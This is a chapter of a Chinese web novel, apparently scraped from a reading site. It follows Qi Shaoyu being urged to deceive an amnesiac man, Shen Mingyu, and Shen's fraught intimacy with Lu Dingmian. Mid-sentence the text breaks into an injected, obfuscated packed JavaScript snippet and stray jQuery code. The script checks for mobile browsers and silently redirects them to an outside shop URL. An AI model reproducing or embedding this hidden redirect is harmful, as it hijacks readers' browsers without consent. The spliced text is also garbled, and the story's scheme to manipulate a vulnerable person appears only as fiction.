季修明要把手机收回去,祁少虞直接往前一扑,从他手里抢过了手机。

    祁少虞看着这张照片,满脸难以置信。他说:“不可能!”

    黑白照片上的人眉目一如往昔,他给人的感觉依旧洁净得出奇。

    季修明笑了笑,敲了敲桌子道:“这个世界上就没有不可能的事情。”

    他站起身,问祁少虞:“你还记得悟缘大寺里的那座小殿吗?”

    “我遣人去打听了,那就是沈明聿的衣冠冢。”

    祁少虞还是一脸不相信,明明今天早上他还见过这个人。可他心中有太多疑问,他问:“怎么会是衣冠冢呢?他明明没死,连尸体都没有……”

    讲到这里,祁少虞的话顿住了。是啊,连尸体都没有,可不只能是衣冠冢吗。

    季修明点燃了一根烟,缓缓道:“这沈明聿也是个奇人,不怪老陆把他放眼皮子底下这么久我们都没发觉。他本来就不是京市人,户口在深港,却在藏区长大。”

    “是沈家大少爷,曾经当之无愧的当家人。这人生也可以说是一帆风顺,只可惜有个不争气的弟弟。”

    祁少虞不由有些诧异:“他还有个弟弟?”

    “对,沈老爷子和沈夫人车祸去世,沈二只知道吃喝嫖赌,可不得把远在藏区的沈明聿叫回来吗?”季修明深吸了一口烟:“但奇怪也奇怪在这一点,沈老爷子和沈夫人是车祸去世的,沈明聿也是车祸。老祁,你真相信这世界上有这么巧的事?”

    祁少虞几乎是瞬间便下了判断:“沈家有问题,亦或者是接触到了什么不该接触的问题,被抄家灭口了。”

    但祁少虞还是觉得奇怪:“有老陆在,还有什么事是他解决不了的?”

    季修明笑了笑,把烟在茶几上碾了道:“这你就不懂了吧,打个比方,你有一个非常喜欢的人,但他的家庭有问题。弟弟吃喝嫖赌不学无数,家里看着堆金积玉却只是个空架子。我知道你肯定觉得养着就养着吧,反正你祁家钱多,只要不作妖。”

    “可问题也就出在这里,那吃喝嫖赌的弟弟要拉你夫人下水,你又恰好知道了你夫人只是个被收养的外人。你是选择继续接济,还是直接把你媳妇带走呢?”

    祁少虞说不出话了,季修明继续道:“所以老陆的运气也够好,人直接出车祸失忆了。要我我也赶紧把人带走,免得留在家里继续被伥鬼祸害,毕竟能出第一次车祸,谁知道会不会出第二次第三次第四次呢?”

    “沈家算什么东西,只要沈明聿还活着,没了就没了。”

    陆定勉把沈明聿死死揽在怀里,用下巴轻轻摩挲着他的头发。沈明聿难受,张着嘴艰难的喘息。陆定勉又从柜子里掏出药,喂了沈明聿几片,自己也吃掉了几片。

    陆定勉小声说:“聿聿,把药吞下去,别含着。”

    “老祁,”季修明喊:“兄弟伙当中,我和你的关系最好,不然也不会把我家小妹介绍给你。”

    “既然你喜欢沈明聿,虽然不太道德,却也不是没有可能。”

    祁少虞猛的抬起头,他的头发还在往下不停淌水。

    “这沈明聿失忆了,老陆可以做的事,你为什么不能做呢?毕竟他也算半个傻子,你去骗骗他,编点东西,再上上眼药,人不就跟着你了吗?”

    “你虽然比不上老陆,但长得亦不算丑。更何况老陆出不了国,你手上那么多护照,到时候把人带着,可不是天高任鸟飞吗?”

    季修明的话把祁少虞说得动了心,沈明聿吞了药,终于好受了一些。陆定勉低头去吻,他们吞咽着彼此的呼吸。

    沈明聿问:“你是因为我才出的事吗?”

    陆定勉没说话,翻身把沈明聿压在了床上。

    沈明聿拉扯着床幔,窗帘透不进一丁点光。他终于听见了陆定勉心脏怦怦跳动的声音,他摩挲着沈明聿的脸颊,深深的吻。

    床单皱了,陆定勉贴在他耳旁说:“你别多想。”

    别多想什么,是他刚刚的问题还是祁少虞之前说的那些话?

    沈明聿来不及细想,思绪就混沌了。他的脑袋顺着枕头往上耸,细密的汗水把全身都打湿了。

    陆定勉掐着他,沈明聿觉得痛。

    除了头上,沈明聿的腿上其实也有一条长疤。陆定勉的手在疤痕上揉着,眸子一片漆黑。

    沈明聿觉得痒,抓着陆定勉的手不让他碰。陆定勉好像还有没说完的话,最后干脆侧头点了一根烟。

    烟灰带着火星扑簌簌往下落,把床单也烫出好几道疤。沈明聿被烟呛到了,又捂着胸口不停咳嗽。

    透明的涎水顺着嘴角往下流,沾在床上拉成丝线。他又疼又呛,陆定勉看着他,突然又问:“聿聿,你是不是想起什么了?”

    沈明聿的思绪乱七八糟,他在悟缘大寺确实有记起什么东西。但他也不确定那到底是梦还是记忆,他看见了金色的雪山,五彩的经幡。陆定勉在对着什么东西许愿,一直冲他淡淡笑着。

    只是后来还是同一个地方,记忆却变了。他往前跑,却一头撞到陆定勉身上,那是属于他的地方,沈明聿不明白陆定勉为什么会在这里。

    沈明聿觉得冷,陆定勉的怀里很冷。他想要出去,结果却又被人重新按住了,陆定勉说:“聿聿,如果你想起来了什么,一定要和我说,我们一起去看医生。”

    他的声音是那么轻,沈明聿将脸埋在枕头上,一副脆弱不堪摇摆不定的样子。陆定勉的手还在他肚子上,沈明聿不止一次想,陆定勉到底是喜欢他,还是喜欢他的肚子。

    昏昏沉沉睡了过去,等再醒来的时候,陆定勉已经不在了。

    沈明聿身上就和被车碾了一样痛,一时也想不清到底算不算是出了第二回“车祸”。

    撑着胳膊坐起来,打开门,外面已经完全黑了。睡了一天,沈明聿的头又昏又痛。

    撑着扶手下楼,厨房的灯开着。有陆定勉在,吴妈一般不会来。厨房里陆定勉的袖子卷着,正在灯下面做饭。

    他拿着菜刀,案板上摆着一只整鸡。只见陆定勉三两下就把鸡剁好了,只是血水溅在了他的脸上,带出一道血

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971796|214674||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    痕,缓缓往下淌。

    他没穿围裙,衣服上也有血点。厨房的窗开着,风从外面灌了进来,凉阴阴的。

    沈明聿不由有些害怕,下意识往后退了一步。

    可这一退反倒吸引了陆定勉的注意,他扭过沾着血污的脸,那道血痕就在他眼下,看着和哭了似的。

    陆定勉问:“怎么起来了?再去睡会吧。”

    沈明聿摇摇头:“都睡一天了,实在睡不着。”

    陆定勉便要往沈明聿在的地方走,可他走一步,沈明聿就退一小步。陆定勉明白了,把还在往下滴血的菜刀放在了料理台上,又扭头去洗手。

    结果手倒是洗干净了,那道泪似的血污却依旧在脸上挂着。沈明聿不由笑了,招手唤道:“过来。”

    陆定勉往前走,这回沈明聿不退了。

    他用袖子替陆定勉把脸上的污血擦干净了,陆定勉没动,站在原地定定的看着他。

    沈明聿问:“怎么了?”

    陆定勉没有回答,半晌后才道:“聿聿,要是可以一辈子这样,那该多好啊。”

    陆定勉的头发被撩了上去,他的脸其实也很有攻击性。有时候沈明聿真挺羡慕的,因为他知道自己的脸是女气,实在不够男子汉也不够有威仪。

    锅子里的菜好了,陆定勉匆忙放开沈明聿,走到后面开始关火盛饭。

    那道剁好的鸡到底没吃,两人胡乱对付了几口,就又靠在一起在沙发上看电影。

    他们的品味不一样,陆定勉爱看黑白电影,沈明聿爱听戏。放对方喜欢的节目时,另一个就昏昏欲睡。但今天沈明聿睡多了,竟然也能跟着看一点。

    只是刚看到一半,陆定勉的手机就响了。沈明聿知道,能打到陆定勉手机上,还是这个点打到他手机上的,一般都是大事。

    果然陆定勉接了电话就直往阳台去,对面的人好像是在问车祸的事,然后又问了几句祁东街项目怎么样了。

    陆定勉在回话,对面的人听了沉吟半晌道:“定勉,我知道你和少虞很熟,但项目上的事还是要多给其他人机会。不能因为彼此熟悉就把别人排除在外了,这样不好。”

    陆定勉捏着手机没有说话,沈明聿看着他的背影,知道他心情不好。和他们相处久了,就算是傻子也能耳濡目染点什么,这件事明显就是有人在背后吹了点什么风。

    陆定勉把玻璃门拉上,在阳台上点燃了一根烟。他没抽,只是夹在指间思考着什么。沈明聿的手机又响了,是祁少虞发来的信息,他问:“嫂子,你明天有没有时间,我请你吃饭去。”

    沈明聿刚想把手机甩到另一边,就想起来什么似的发消息问:“你不是说最近很忙,在写标书吗?”

    祁少虞的信息很快就过来了,也不知是不是沈明聿的错觉,祁少虞好像变得“有礼貌”不少。他说:“嫂子,别开玩笑了,我哪会写标书。这都是手底下的高材生写,我就别去给他们添麻烦了。”

    沈明聿看着这句话,一时竟有些哭笑不得。

    这人,还怪实诚的。